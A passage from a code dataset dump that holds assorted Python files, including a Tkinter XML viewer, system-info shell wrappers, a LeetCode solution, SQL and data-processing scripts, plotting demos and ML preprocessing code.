encoding='utf-8', xml_declaration=True)\n\t\t# Который мы записываем в файл db.xml\n\t\topen('db.xml', 'wb').write(self.handle)\n\n\t# Метод создания дерева\n\tdef make_tree(self, event):\n\t\t# Сохраняем в эту переменную считанный xml файл\n\t\tself.tagsoup = lxml.etree.parse(self.filename)\n\t\t# Выдираем корень и помещаем его в эту переменную\n\t\tself.root = self.tagsoup.getroot()\n\t\t# Обходим наш xml\n\t\tself.dict_walk(self.root)\n\t\tself.treeFrame.pack(expand = True, fill = BOTH)\n\n\t# Метод обхода xml-ника\n\tdef dict_walk(self, ordDict, parent = ''):\n\t\tfor i in ordDict.findall('url'):\n\t\t\t# Задаем родителя\n\t\t\tparentNode = self.tree.insert(parent, 'end', text = i.attrib['href'])\n\t\t\t# И обходи рекурсивно\n\t\t\tself.dict_walk(i, parent = parentNode)\n\n\t# Метод открытия файла в разных ОС\n\tdef open_file(self, filename):\n\t\tfilename = 'manual.pdf'\n\t\tif sys.platform == \"win32\":\n\t\t\tos.startfile(filename)\n\t\telse:\n\t\t\topener =\"open\" if sys.platform == \"darwin\" else \"xdg-open\"\n\t\t\tsubprocess.call([opener, filename])","sub_path":"App.py","file_name":"App.py","file_ext":"py","file_size_in_byte":9005,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"108199928","text":"#!/usr/bin/env python\n# encoding: utf-8\n\n\nclass Solution(object):\n def canFinish(self, numCourses, prerequisites):\n \"\"\"\n :type numCourses: int\n :type prerequisites: List[List[int]]\n :rtype: bool\n \"\"\"\n foo = {}\n for o, i in prerequisites:\n foo.setdefault(i, [])\n foo[i].append(o)\n\n def dfs(count, foo):\n if not foo:\n return True\n\n o_set = set()\n for o_list in foo.values():\n o_set.update(o_list)\n\n i_set = set()\n for i in foo.keys():\n if i in o_set:\n continue\n\n i_set.add(i)\n\n if not i_set:\n return False\n\n if count == 1:\n return True\n\n for i in i_set:\n del foo[i]\n\n return dfs(count - 1, foo)\n\n return dfs(numCourses - 1, foo)\n\n\nif __name__ == '__main__':\n s = Solution()\n # result = s.canFinish(2, [[1, 0], [1, 2], [0, 1]])\n result = s.canFinish(3, [[1, 0]])\n print(result)\n","sub_path":"leetcode/207.py","file_name":"207.py","file_ext":"py","file_size_in_byte":1099,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"378432466","text":"import time\n\nfrom subprocess import check_output\n\ntime_init = time.time()\n\n\ndef cmd(command):\n result = check_output(command, shell=True)\n return result\n\n\n###############################################################################\n## DYNAMIC COMMANDS\n\n\ndef runtime():\n diff = time.time() - time_init\n return ['{:^16}'.format('Runtime:'), '{:^16.3f}'.format(diff)]\n\n\ndef uptime():\n result = cmd('uptime')\n\n load = result.split(' ')[-3:]\n\n up = result\n up = up.split('user')[0].split(' ')\n up = up[:-3]\n up = up[3:]\n\n return ('{:^16}'.format(' '.join(up).strip(',')),\n '{} {} {}'.format(load[0].strip(','),\n load[1].strip(','),\n load[2].strip(',')))\n\n\ndef hostname():\n result = cmd('hostname')\n date = cmd('date +\"%b %d %H:%M:%S\"')\n return '{:^16}'.format(result.strip('\\n')), date.strip('\\n')\n\n\ndef mem_info():\n mem_total = cmd(\"grep MemTotal /proc/meminfo | awk '{print $2NF}'\")\n mem_total = 'MemTotal:' + str(int(mem_total)/1024)+'Mb'\n mem_free = cmd(\"grep MemFree /proc/meminfo | awk '{print $2NF}'\")\n mem_free = 'MemFree: ' + str(int(mem_free)/1024)+'Mb'\n return mem_total, mem_free\n\n\n###############################################################################\n## SCROLL COMMANDS\ndef who():\n command = r''' w | tail -n +3| awk '{print $1,$4}' '''\n who_r = cmd(command).split('\\n')\n\n final = ['{:<7} {:<8}'.format('USER', 'LOGIN@'),\n '-'*16]\n for w in who_r:\n w = w.split(' ')\n if len(w) >= 2:\n final.append('{:<7} {:<8}'.format(w[0], w[1]))\n final.append('-'*16)\n return final\n\n\ndef ipconfig():\n interfaces = cmd(\"ifconfig | grep 'Link encap' | awk '{print $1}'\").split('\\n')\n ips = cmd(\"ifconfig | grep 'inet addr' | awk '{print $1 $2}' | cut -d: -f2\").split('\\n')\n subnets = cmd(\"ifconfig | grep 'inet addr' | awk '{print $NF}' | cut -d: -f2\").split('\\n')\n\n for interface in interfaces:\n if interface == '':\n interfaces.remove(interface)\n for ip in ips:\n if ip == '':\n ips.remove(ip)\n for subnet in subnets:\n if subnet == '':\n subnets.remove(subnet)\n\n result = []\n for i in range(len(interfaces)):\n result.append(interfaces[i])\n result.append(ips[i])\n result.append(subnets[i])\n result.append('-'*16)\n\n return result\n\n\ndef pybox_help():\n return ['pybox 0.1',\n '----------------',\n 'Use Up/Down to',\n 'navigate through',\n 'the menus',\n '----------------',\n 'Everything that',\n 'scrolls, loops',\n '----------------',\n 'Use Right to',\n 'select an option',\n '----------------',\n 'Use Left to go',\n 'back',\n '----------------',\n 'Back all the',\n 'way to exit',\n '----------------']\n\n\ndef df():\n\n command = r''' df | grep -v \"Filesystem\" | awk '{$1=\"\"; print $2,$5,$6}' | uniq '''\n all_parts = cmd(command).split('\\n')\n sorted_part = ['{:<6} {:>3} {:>5}Gb'.format('mount', '%', 'size'),\n '-'*16]\n for part in all_parts:\n part = part.split(' ')\n if len(part) >= 3 and len(part[2]) <= 6:\n pretty = '{:<6} {:>3} {:.2f}Gb'.format(part[2],\n part[1],\n float(part[0])/1024/1024)\n sorted_part.append(pretty)\n sorted_part.append('-'*16)\n return sorted_part\n\n\ndef ls(path='.'):\n result = cmd('ls '+path).split('\\n')\n for e in result:\n if e == '':\n result.remove(e)\n\n return result\n\n\ndef char_test():\n result = ['{:^16}'.format('123456'),\n '{:^16}'.format('\\x01\\x02\\x03\\x04\\x05\\x06')]\n\n return result","sub_path":"commands.py","file_name":"commands.py","file_ext":"py","file_size_in_byte":3901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"412389673","text":"\"\"\"\n_GetConditions_\n\nOracle implementation of GetConditions\n\nReturn information about all run/streams that have not\nfinished the PCL yet and all still to be uploaded files.\n\n\"\"\"\n\nfrom WMCore.Database.DBFormatter import DBFormatter\n\nclass GetConditions(DBFormatter):\n\n sql = \"\"\"SELECT prompt_calib.run_id,\n run.cond_timeout,\n run.db_host,\n run.valid_mode,\n prompt_calib.stream_id,\n prompt_calib.subscription,\n prompt_calib_file.fileid,\n wmbs_file_details.lfn\n FROM prompt_calib\n INNER JOIN run ON\n run.run_id = prompt_calib.run_id\n LEFT OUTER JOIN wmbs_sub_files_acquired ON\n wmbs_sub_files_acquired.subscription = prompt_calib.subscription\n LEFT OUTER JOIN prompt_calib_file ON\n prompt_calib_file.fileid = wmbs_sub_files_acquired.fileid\n LEFT OUTER JOIN wmbs_file_details ON\n wmbs_file_details.id = wmbs_sub_files_acquired.fileid\n WHERE checkForZeroState(prompt_calib.finished) = 0\n \"\"\"\n\n def execute(self, conn = None, transaction = False):\n\n results = self.dbi.processData(self.sql, {},\n conn = conn, transaction = transaction)[0].fetchall()\n\n conditions = {}\n for result in results:\n\n run = result[0]\n streamid = result[4]\n\n if not conditions.has_key(run):\n conditions[run] = {}\n conditions[run]['condUploadTimeout'] = result[1]\n conditions[run]['dropboxHost'] = result[2]\n conditions[run]['validationMode'] = bool(result[3])\n conditions[run]['streams'] = {}\n if not conditions[run]['streams'].has_key(streamid):\n conditions[run]['streams'][streamid] = {}\n conditions[run]['streams'][streamid]['subscription'] = result[5]\n conditions[run]['streams'][streamid]['files'] = []\n\n if result[6] != None:\n conditions[run]['streams'][streamid]['files'].append( { 'fileid' : result[6],\n 'pfn' : result[7] } )\n\n return conditions\n","sub_path":"src/python/T0/WMBS/Oracle/ConditionUpload/GetConditions.py","file_name":"GetConditions.py","file_ext":"py","file_size_in_byte":2345,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"88912466","text":"\"\"\"\ncity-temperature-data.txt\n\"\"\"\n\nimport csv\nimport operator\nfrom datetime import date, timedelta, datetime\n\n\nfile_name = input()\ncity_dict = {}\nwith open(file_name, \"r\", encoding = \"utf-8\") as f:\n reader = csv.reader(f)\n for row in reader:\n if row:\n city = row[1]\n date = datetime.strptime(row[0], \"%Y-%m-%d\")\n # print(date)\n\n if city in city_dict.keys():\n city_dict[city].append(date)\n else:\n city_dict[city] = [date]\n# print(city_dict)\nending_date = max(city_dict.items(), key = operator.itemgetter(1))[1][0]\nstarting_date = min(city_dict.items(), key = operator.itemgetter(1))[1][0]\n# print(ending_date)\nhorological_list = sorted(city_dict.items(), key = operator.itemgetter(1))\nmax_days = sorted(city_dict.items(), key = operator.itemgetter(1))[::-1]\nmax_days_set = set(max_days[0][1])\n# print(horological_list)\nfor city, date_list in horological_list:\n missing = max_days_set - set(date_list)\n missing = sorted(missing)\n if missing:\n for date in missing:\n print(city, date)\n","sub_path":"algorithms_and_files_part2/missing_dates.py","file_name":"missing_dates.py","file_ext":"py","file_size_in_byte":1106,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"230127297","text":"class IntegrationClass:\n def __init__(self, minv, maxv, N, method, f, tol):\n import numpy as np\n self.minv = minv\n self.maxv = maxv\n self.N = N\n self.method = method\n self.func = f\n self.tol = tol\n\n def integrate(self):\n\n if self.method is 'MidpointRule':\n from MidpointRule import MidpointRule\n self.I = MidpointRule([self.minv, self.maxv], self.func, self.N)\n elif self.method is 'TrapeziodalRule':\n from TrapeziodalRule import TrapeziodalRule\n self.I = TrapeziodalRule([self.minv, self.maxv], self.func, self.N)\n elif self.method is 'SimpsonsRule':\n from SimpsonsRule import SimpsonsRule\n self.I = SimpsonsRule([self.minv, self.maxv], self.func, self.N)\n elif self.method is 'BoolesRule':\n from BoolesRule import BoolesRule\n self.I = BoolesRule([self.minv, self.maxv], self.func, self.N)\n elif self.method is 'GaussLegendre':\n from GaussLegendre import GaussLegendre\n self.I = GaussLegendre([self.minv, self.maxv], self.func, self.N)\n elif self.method is 'GaussLobatto':\n from GaussLobatto import GaussLobatto\n self.I = GaussLobatto([self.minv, self.maxv], self.func, self.N)\n elif self.method is 'Romberg':\n from Romberg import Romberg\n self.I = Romberg([self.minv, self.maxv], self.func, self.N, self.tol)\n\n\n#def f (x): return x*x*x*x\n\n#Int = IntegrationClass(0, 1, 12, 'BoolesRule', f, 0.001)\n#Int.integrate()\n#print Int.I\n","sub_path":"Numerical Integration/Integration_class.py","file_name":"Integration_class.py","file_ext":"py","file_size_in_byte":1587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"73078366","text":"# mips_asm.py\n\nfrom asm_type.all import *\n\nimport os\nimport sys\nsys.path.append(os.path.dirname(os.path.abspath(os.path.dirname(__file__))))\n\nfrom base.Iasm import *\n\nimport idc\n\n'''\n\tmips assembly interface\n\t__init__ : define a dictionary about mips assembly type\n\tdispatch : call method based on specific mips assembly type\n'''\nclass MIPS_IAsm(IAsm):\n\tdef __init__(self):\n\t\tsuper(MIPS_IAsm, self).__init__()\n\n\t\tself.mips_asm_class = {\n\t\t\t'store':mips_store.MIPS_Asm_Store,\n\t\t\t'load':mips_load.MIPS_Asm_Load,\n\t\t\t'move':mips_move.MIPS_Asm_Move,\n\t\t\t'branch':mips_branch.MIPS_Asm_Branch,\n\t\t\t'set':mips_set.MIPS_Asm_Set,\n\t\t\t'jump':mips_jump.MIPS_Asm_Jump,\n\t\t\t'arithmetic':mips_arith.MIPS_Asm_Arithmetic,\n\t\t\t'bits':mips_bits.MIPS_Asm_Bits,\n\t\t\t'shift':mips_shift.MIPS_Asm_Shift,\n\t\t\t'etc':mips_etc.MIPS_Asm_Etc\n\t\t}\n\n\t# Find instruction type and call 'do_(instruction)' method\n\tdef dispatch(self, addr, o_reg, o_func):\n\t\tins = idc.GetMnem(addr)\n\n\t\tclass_list = self.mips_asm_class.values()\n\t\tfor obj in class_list:\n\t\t\tmethod = 'do_' + ins\n\t\t\tif hasattr(obj, method):\n\t\t\t\tif self.mips_asm_class['branch'] == obj:\n\t\t\t\t\tdispatch_cmd = getattr(self, 'dispatch')\n\t\t\t\t\tasm_obj = obj(addr, dispatch_cmd, o_reg, o_func)\n\t\t\t\t\tcommand = getattr(asm_obj, method)\n\t\t\t\telif self.mips_asm_class['jump'] == obj:\n\t\t\t\t\tdispatch_cmd = getattr(self, 'dispatch')\n\t\t\t\t\tasm_obj = obj(addr, dispatch_cmd, o_reg, o_func)\n\t\t\t\t\tcommand = getattr(asm_obj, method)\n\t\t\t\telse:\n\t\t\t\t\tasm_obj = obj(addr)\n\t\t\t\t\tcommand = getattr(asm_obj, method)\n\n\t\t\t\treturn command(o_reg, o_func)\n\n\t\terror(\"[-] current({0}), Not defined instruction\".format(hex(addr)))\n","sub_path":"mipsHex/mips_Iasm.py","file_name":"mips_Iasm.py","file_ext":"py","file_size_in_byte":1612,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"125505822","text":"import sys \r\nfrom PyQt5 import QtGui \r\nimport pyqtgraph as pg\r\nimport numpy as np\r\n\r\n\r\nwin = pg.GraphicsWindow(title=\"Plotting examples\")\r\nwin.resize(1000,600)\r\n\r\nx = np.random.normal(size=1000)\r\ny = np.random.normal(size=1000)\r\n\r\np1 = win.addPlot(title=\"Basic plot\")\r\np1.plot(x, pen=(0,0,255)) ## setting pen=None disables line drawing\r\np1.setLabel( 'left', text=\"x\", units=\"m\", unitPrefix=None)\r\n\r\n\r\np2 = win.addPlot(title=\"Drawing with points\")\r\np2.plot(y, pen=(255,0,0), symbol=\"o\", symbolBrush=(255,0,0), symbolPen='w', symbolSize=5)\r\n\r\nwin.nextRow()\r\n\r\np3 = win.addPlot(title=\"Multiple curves - random\")\r\np3.plot(x, pen=(255,0,0))\r\np3.plot(y, pen=(0,255,0))\r\np3.showGrid(x=True, y=True)\r\n\r\nt=np.linspace(0,100,1000)\r\nx=5*t\r\ny=3*t\r\np4 = win.addPlot(title=\"Multiple curves - lines\")\r\np4.addLegend(size=(30, 30), offset=(10, 10))\r\np4.plot(x, pen=(255,0,0), name=\"Slope 5\")\r\np4.plot(y, pen=(0,255,0), name=\"Slope 3\")\r\np4.showGrid(x=True, y=True)\r\n\r\nwin.nextRow()\r\n\r\nx = np.cos(np.linspace(0, 2*np.pi, 1000))\r\ny = np.sin(np.linspace(0, 4*np.pi, 1000))\r\n\r\np5 = win.addPlot(title=\"Multiple curves - sin/cos\")\r\np5.addLegend(size=(30, 30), offset=(360, 20))\r\np5.plot(x, pen=(255,0,0), name=\"Sinus\")\r\np5.plot(y, pen=(0,255,0), name=\"Cosinus\")\r\np5.showGrid(x=True, y=True)\r\n\r\n\r\np6 = win.addPlot(title=\"Parametric sin/cos\")\r\np6.plot(x, y)\r\np6.showGrid(x=True, y=True)\r\np6.setLabel( 'bottom', text=\"sin\", units=\"m\")\r\np6.setLabel( 'left', text=\"cos\", units=\"m\")\r\n\r\napp = QtGui.QApplication(sys.argv)\r\nstatus = app.exec_()\r\nsys.exit(status)\r\n","sub_path":"radionica_01/tut_02.py","file_name":"tut_02.py","file_ext":"py","file_size_in_byte":1534,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"537379690","text":"import cv2\nimport cpm_utils\nimport numpy as np\nimport math\nimport tensorflow as tf\nimport time\nimport json\nimport os\n\ntfr_file = 'train_dataset.tfrecords'\ndataset_dir = '/Users/Radiance/MachineLearning/data/hand_labels/manual_train'\n\nSHOW_INFO = False\nbox_size = 64\nnum_of_joints = 21\ngaussian_radius = 2\n\n\ndef _bytes_feature(value):\n return tf.train.Feature(bytes_list=tf.train.BytesList(value=[value]))\n\n\ndef _int64_feature(value):\n return tf.train.Feature(int64_list=tf.train.Int64List(value=[value]))\n\n\ndef _float64_feature(value):\n return tf.train.Feature(float_list=tf.train.FloatList(value=value))\n\n\n# Create writer\ntfr_writer = tf.python_io.TFRecordWriter(tfr_file)\n\nimg_count = 0\nt1 = time.time()\n# Loop each dir\nfor json_file in os.listdir(dataset_dir):\n json_file = os.path.join(dataset_dir, json_file)\n if not json_file.endswith('.json'):\n continue\n img_info = json.loads(open(json_file, 'rb').readline())\n img = cv2.imread(json_file.replace('.json', '.jpg'))\n\n # Read in bbox and joints coords\n\n cur_hand_joints_x = [pt[0] for pt in img_info['hand_pts']]\n cur_hand_joints_y = [pt[1] for pt in img_info['hand_pts']]\n\n cur_hand_bbox = [img_info['hand_box_center'][0] - 1.1 * (max(cur_hand_joints_x) - min(cur_hand_joints_x)),\n img_info['hand_box_center'][1] - 1.1 * (max(cur_hand_joints_y) - min(cur_hand_joints_y)),\n img_info['hand_box_center'][0] + 1.1 * (max(cur_hand_joints_x) - min(cur_hand_joints_x)),\n img_info['hand_box_center'][1] + 1.1 * (max(cur_hand_joints_y) - min(cur_hand_joints_y))\n ]\n if cur_hand_bbox[0] < 0: cur_hand_bbox[0] = 0\n if cur_hand_bbox[1] < 0: cur_hand_bbox[1] = 0\n if cur_hand_bbox[2] > img.shape[1]: cur_hand_bbox[2] = img.shape[1]\n if cur_hand_bbox[3] > img.shape[0]: cur_hand_bbox[3] = img.shape[0]\n\n # Crop image and adjust joint coords\n img = img[int(float(cur_hand_bbox[1])):int(float(cur_hand_bbox[3])),\n int(float(cur_hand_bbox[0])):int(float(cur_hand_bbox[2])),\n :]\n cur_hand_joints_x = [x - cur_hand_bbox[0] for x in cur_hand_joints_x]\n cur_hand_joints_y = [x - cur_hand_bbox[1] for x in cur_hand_joints_y]\n\n # # Display joints\n # for i in range(len(cur_hand_joints_x)):\n # cv2.circle(cur_img, center=(int(cur_hand_joints_x[i]), int(cur_hand_joints_y[i])),radius=3, color=(255,0,0), thickness=-1)\n # cv2.imshow('', cur_img)\n # cv2.waitKey(500)\n # cv2.imshow('', cur_img)\n # cv2.waitKey(1)\n\n output_image = np.ones(shape=(box_size, box_size, 3)) * 128\n output_heatmaps = np.zeros((box_size, box_size, num_of_joints))\n\n # Resize and pad image to fit output image size\n if img.shape[0] > img.shape[1]:\n scale = box_size / (img.shape[0] * 1.0)\n\n # Relocalize points\n cur_hand_joints_x = map(lambda x: x * scale, cur_hand_joints_x)\n cur_hand_joints_y = map(lambda x: x * scale, cur_hand_joints_y)\n\n # Resize image\n image = cv2.resize(img, (0, 0), fx=scale, fy=scale, interpolation=cv2.INTER_LANCZOS4)\n offset = image.shape[1] % 2\n\n output_image[:, int(box_size / 2 - math.floor(image.shape[1] / 2)): int(\n box_size / 2 + math.floor(image.shape[1] / 2) + offset), :] = image\n cur_hand_joints_x = map(lambda x: x + (box_size / 2 - math.floor(image.shape[1] / 2)),\n cur_hand_joints_x)\n\n cur_hand_joints_x = np.fromiter(cur_hand_joints_x, np.float32)\n cur_hand_joints_y = np.fromiter(cur_hand_joints_y, np.float32)\n\n if SHOW_INFO:\n hmap = np.zeros((box_size, box_size))\n # Plot joints\n for i in range(num_of_joints):\n cv2.circle(output_image, (int(cur_hand_joints_x[i]), int(cur_hand_joints_y[i])), 3, (0, 255, 0), 2)\n\n # Generate joint gaussian map\n part_heatmap = cpm_utils.gaussian_img(box_size, box_size, cur_hand_joints_x[i], cur_hand_joints_y[i], 1)\n # part_heatmap = utils.make_gaussian(output_image.shape[0], gaussian_radius,\n # [cur_hand_joints_x[i], cur_hand_joints_y[i]])\n hmap += part_heatmap * 50\n else:\n for i in range(num_of_joints):\n # output_heatmaps[:, :, i] = utils.make_gaussian(box_size, gaussian_radius,\n # [cur_hand_joints_x[i], cur_hand_joints_y[i]])\n output_heatmaps[:, :, i] = cpm_utils.gaussian_img(box_size, box_size, cur_hand_joints_x[i],\n cur_hand_joints_y[i], 1)\n\n else:\n scale = box_size / (img.shape[1] * 1.0)\n\n # Relocalize points\n cur_hand_joints_x = map(lambda x: x * scale, cur_hand_joints_x)\n cur_hand_joints_y = map(lambda x: x * scale, cur_hand_joints_y)\n\n # Resize image\n image = cv2.resize(img, (0, 0), fx=scale, fy=scale, interpolation=cv2.INTER_LANCZOS4)\n offset = image.shape[0] % 2\n\n output_image[int(box_size / 2 - math.floor(image.shape[0] / 2)): int(\n box_size / 2 + math.floor(image.shape[0] / 2) + offset), :, :] = image\n cur_hand_joints_y = map(lambda x: x + (box_size / 2 - math.floor(image.shape[0] / 2)),\n cur_hand_joints_y)\n\n cur_hand_joints_x = np.fromiter(cur_hand_joints_x, np.float32)\n cur_hand_joints_y = np.fromiter(cur_hand_joints_y, np.float32)\n\n if SHOW_INFO:\n hmap = np.zeros((box_size, box_size))\n # Plot joints\n for i in range(num_of_joints):\n cv2.circle(output_image, (int(cur_hand_joints_x[i]), int(cur_hand_joints_y[i])), 3, (0, 255, 0), 2)\n\n # Generate joint gaussian map\n part_heatmap = cpm_utils.make_gaussian(output_image.shape[0], gaussian_radius,\n [cur_hand_joints_x[i], cur_hand_joints_y[i]])\n hmap += part_heatmap * 50\n else:\n for i in range(num_of_joints):\n output_heatmaps[:, :, i] = cpm_utils.make_gaussian(box_size, gaussian_radius,\n [cur_hand_joints_x[i], cur_hand_joints_y[i]])\n if SHOW_INFO:\n cv2.imshow('', hmap.astype(np.uint8))\n cv2.imshow('i', output_image.astype(np.uint8))\n cv2.waitKey(0)\n\n # Create background map\n output_background_map = np.ones((box_size, box_size)) - np.amax(output_heatmaps, axis=2)\n output_heatmaps = np.concatenate((output_heatmaps, output_background_map.reshape((box_size, box_size, 1))),\n axis=2)\n # cv2.imshow('', (output_background_map*255).astype(np.uint8))\n # cv2.imshow('h', (np.amax(output_heatmaps[:, :, 0:21], axis=2)*255).astype(np.uint8))\n # cv2.waitKey(1000)\n\n coords_set = np.concatenate((np.reshape(cur_hand_joints_x, (num_of_joints, 1)),\n np.reshape(cur_hand_joints_y, (num_of_joints, 1))),\n axis=1)\n\n output_image_raw = output_image.astype(np.uint8).tostring()\n output_heatmaps_raw = output_heatmaps.flatten().tolist()\n output_coords_raw = coords_set.flatten().tolist()\n\n raw_sample = tf.train.Example(features=tf.train.Features(feature={\n 'image': _bytes_feature(output_image_raw),\n 'heatmaps': _float64_feature(output_heatmaps_raw)\n }))\n\n tfr_writer.write(raw_sample.SerializeToString())\n\n img_count += 1\n if img_count % 50 == 0:\n print('Processed %d images, took %f seconds' % (img_count, time.time() - t1))\n t1 = time.time()\n\ntfr_writer.close()\n","sub_path":"utils/create_cpm_tfr_fulljoints.py","file_name":"create_cpm_tfr_fulljoints.py","file_ext":"py","file_size_in_byte":7759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"308182777","text":"names = ['Ellie', 'Tim', 'Matt']\nnumbers = [1, 2, 3, 4, 5, 6]\n\nanswer = [name[0] for name in names]\n\nanswer2 = [num for num in numbers if num % 2 == 0]\n\nprint(answer)\nprint(answer2)\n\n# should have set up like \nanswer = [person[0] for person in [\"Elie\", \"Tim\", \"Matt\"]]\nanswer2 = [val for val in [1,2,3,4,5,6] if val % 2 == 0]","sub_path":"13_list_comprehension/exersises/list_comp.py","file_name":"list_comp.py","file_ext":"py","file_size_in_byte":325,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"487285332","text":"news =(\n {\n \"articles\":\n [\n {\n \"title\": \"test\",\n \"thumb_media_id\": \"4ryX-MBRXdougEru6pL5N_6VVJZN2zrCP5O7umBLads\",\n \"author\": \"志祥\",\n \"digest\": \"\",\n \"show_cover_pic\": 1,\n \"content\": \"


\",\n \"content_source_url\": \"\",\n }\n ]\n })\n","sub_path":"app/material_config.py","file_name":"material_config.py","file_ext":"py","file_size_in_byte":610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"462444522","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport json, datetime\nfrom json_helpers import extract_datetime\n\n# tweak here the names of the github org and repo to analyse\nORG = 'SUSE'\nREPO = 'spacewalk'\nFILENAME_ISSUES = ORG + 'issues.json'\n\none_day = datetime.timedelta(days=1)\nnow = datetime.datetime.now(datetime.timezone.utc)\n\nf = open(FILENAME_ISSUES)\ndata = json.load(f)\nf.close()\n\nif REPO not in data.keys() and len(data[REPO]) == 0:\n raise SystemExit()\n\n# convert all date strings to datetime objects\nfor i in data[REPO].keys():\n data[REPO][i]['created_at'] = extract_datetime(data[REPO][i]['created_at'])\n if data[REPO][i]['closed_at'] is not None:\n data[REPO][i]['closed_at'] = extract_datetime(data[REPO][i]['closed_at'])\n\n# drop uninteresting issues\nfor i in list(data[REPO]):\n element = data[REPO][i]\n if element['is_pull_request'] or ('bug' not in element['labels']):\n del data[REPO][i]\n\n# retrieve highest issue number\nlast_number = min([int(i) for i in data[REPO].keys()])\nfirst_date = extract_datetime(data[REPO][str(last_number)]['created_at'])\n\nday = datetime.datetime(first_date.year, first_date.month, first_date.day, tzinfo=datetime.timezone.utc)\n\nresult = {}\n\nf = open('result.tsv', 'w')\nf.write('date\\tweek\\topen_bugs\\tclosed_bugs\\n')\n\nwhile day < now:\n key = day.strftime('%Y-%m-%d')\n print(key)\n\n week = day.strftime('%Y') + 'w%02d' % day.isocalendar()[1]\n open_issue_count = 0\n closed_issue_count = 0\n\n for i in data[REPO]:\n element = data[REPO][i]\n\n if element['created_at'] > day and element['created_at'] < (day + one_day):\n open_issue_count += 1\n\n if element['closed_at'] is not None:\n if element['closed_at'] > day and (element['closed_at'] < (day + one_day)):\n closed_issue_count += 1\n\n output = '%s\\t%s\\t%i\\t%i'%(key, week, open_issue_count, closed_issue_count)\n\n f.write(output + '\\n')\n\n day += one_day\n\nf.close()\n","sub_path":"process_issues.py","file_name":"process_issues.py","file_ext":"py","file_size_in_byte":1965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"549530528","text":"import json\nimport os\nimport re\nimport edn_format\nCOUNTRY=\"mexico\"\ndef _repl(m):\n return '\"'+m.group(1)+'\"'\ndef _realPath(filename):\n return os.path.join(os.path.dirname(os.path.realpath(__file__)),filename)\ndef _readServiceIds(filename):\n try:\n with open(_realPath(filename)) as json_file:\n business_plans_json = json.load(json_file)\n except FileNotFoundError: \n print(os.getcwd())\n print(\"business plan file not found\")\n return False\n except Exception as e:\n print(\"Error reading business plan file:\"+ str(e))\n return False\n return business_plans_json\n\nbusiness_plans_json = _readServiceIds(COUNTRY+\"_business_plans.json\")\nbusiness_plans = business_plans_json[COUNTRY]\n\nf=open(\"service_catalog.txt\",\"r\")\ncatalog_edn_string = f.read()\nf.close()\ncatalog_json = edn_format.loads(catalog_edn_string)\ncatalog_json_string = str(catalog_json)\n\n# finish converting edn format to json\ncatalog_json_string = re.sub('Keyword\\(([a-zA-Z0-9\\-]*)\\)',_repl,catalog_json_string)\ncatalog_json_string = re.sub(\"'\",'\"', catalog_json_string)\ncatalog_json_string = re.sub(\"True\",\"true\",catalog_json_string)\ncatalog_json_string = re.sub(\"False\",\"false\",catalog_json_string)\ncatalog_json_string = re.sub(\"\\(\",\"[\",catalog_json_string)\ncatalog_json_string = re.sub(\"\\)\",\"]\",catalog_json_string)\n\ncatalog_json = json.loads(catalog_json_string)\nbusiness_plan_service_flow_ids = {}\n\n# extract and save service data flow ids\nfor package in catalog_json['packages']:\n if package['catalogId'] in business_plans_mex:\n service_flow_ids = []\n for id in package['WiMAX-Attributes']['WiMAX-Packet-Flow-Descriptor']:\n service_flow_ids.append(id['WiMAX-Service-Data-Flow-Id'])\n business_plan_service_flow_ids[package['catalogId']] = service_flow_ids\n\nf = open(COUNTRY+\"_service_catalog.json\",\"w\")\nf.write(str(business_plan_service_flow_ids))\nf.close()\n","sub_path":"tools/service_plans/sctojson.py","file_name":"sctojson.py","file_ext":"py","file_size_in_byte":1921,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"577927947","text":"from constants import *\r\n\r\ndef extract_traj_samples():\r\n '''\r\n extract the first BEHAVIOR_SAMPLES from Train data\r\n @ return : samples list of dataframes\r\n '''\r\n samples = [] # list of dataframes\r\n for file in os.listdir(TRAIN_DATA_PATH):\r\n samples.append(pd.read_csv(os.path.join(TRAIN_DATA_PATH,file)).head(BEHAVIOR_SAMPLES)[[v_velocity, v_acceleration, v_ID]])\r\n \r\n return samples\r\n\r\n\r\ndef quantile(samples):\r\n '''\r\n extract behavior features from each trajectory\r\n @ param : samples list of Dataframes\r\n @ return : quantile_df Dataframe\r\n '''\r\n qs = [0.25, 0.5, 0.75]\r\n quantiles_df = pd.DataFrame(columns=[s25, s50, s75, a25, a50, a75])\r\n for df in samples:\r\n values = list(df[v_velocity].quantile(qs).append(df[v_acceleration].quantile(qs)))\r\n quantiles_df.loc[df[v_ID].unique()[0]] = values\r\n return quantiles_df.copy(deep=True)\r\n \r\ndef get_kmeans_model(quantiles_df, k):\r\n '''\r\n fit kmeans model to the data\r\n @ param : quantile_df Dataframe\r\n @ return : sklearn KMeans model\r\n '''\r\n kmeans_model = KMeans(k)\r\n kmeans_model.fit(quantiles_df)\r\n quantiles_df[LABEL] = kmeans_model.predict(quantiles_df)\r\n return (kmeans_model, quantiles_df.copy(deep=True))\r\n\r\ndef split_train_by_label(labels_df):\r\n '''\r\n seperate trajectories by kmeans lables\r\n @ param : labels_df searies kmeans lables\r\n @ return : clusters_dfs list of lists, each list represents the dataframe of the cluster\r\n '''\r\n clusters_dfs = []\r\n for i in range(K_CLUSTERS):\r\n clusters_dfs.append(list())\r\n \r\n for file in os.listdir(TRAIN_DATA_PATH):\r\n df = 